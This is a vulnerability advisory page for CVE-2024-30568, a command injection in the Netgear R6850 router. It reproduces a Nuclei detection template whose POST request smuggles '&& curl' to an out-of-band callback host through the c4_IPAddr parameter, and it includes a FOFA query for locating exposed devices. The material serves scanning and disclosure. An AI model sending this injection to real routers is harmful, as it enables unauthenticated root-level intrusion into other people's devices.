CVE-2024-30568: Netgear R6850 V1.1.0.88 - Command Injection

日期: 2025-08-01 | 影响软件: Netgear R6850 | POC: 已公开

漏洞描述

Netgear R6850 router firmware version V1.1.0.88 suffers from a command injection vulnerability in the ping_test functionality. An unauthenticated attacker can inject arbitrary system commands through the c4_IPAddr parameter, resulting in remote code execution as root.

PoC代码[已公开]

id: CVE-2024-30568

info:
  name: Netgear R6850 V1.1.0.88 - Command Injection
  author: ritikchaddha
  severity: critical
  description: |
    Netgear R6850 router firmware version V1.1.0.88 suffers from a command injection vulnerability in the ping_test functionality. An unauthenticated attacker can inject arbitrary system commands through the c4_IPAddr parameter, resulting in remote code execution as root.
  remediation: |
    Update the router firmware to the latest version once a patch is available. Implement network segmentation to restrict access to the router's management interface.
  reference:
    - https://github.com/funny-mud-peee/IoT-vuls/blob/main/netgear%20R6850/Netgear-R6850%20V1.1.0.88%20Command%20Injection(ping_test).md
    - https://nvd.nist.gov/vuln/detail/CVE-2024-30568
    - https://www.netgear.com/about/security/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-30568
    cwe-id: CWE-94
    epss-score: 0.90809
    epss-percentile: 0.9961
  metadata:
    verified: true
    max-request: 1
    product: Netgear R6850 Router
    vendor: Netgear
    version: V1.1.0.88
    fofa-query: app="NETGEAR" && "R6850"
  tags: cve,cve2024,cve2024-30568,netgear,router,rce,oast,iot,rce,command-injection

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: response
        words:
          - "netgear"
        case-insensitive: true
        internal: true

  - raw:
      - |
        POST /setup.cgi?id=0&sp=1337 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        todo=ping_test&c4_IPAddr=127.0.0.1 && curl {{interactsh-url}}&next_file=diagping.htm

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
        condition: or

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100869f80bed8dd35f0f48984a99e3a82fdc419048ec373c8306dcc69f9e244b425022100f87a0569eaaee987de63c29f893bc1081047177243c022fbfe2c1c1ebeea4c19:922c64590222798bb761d5b6d8e72950
来源: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-30568.yaml

相关漏洞推荐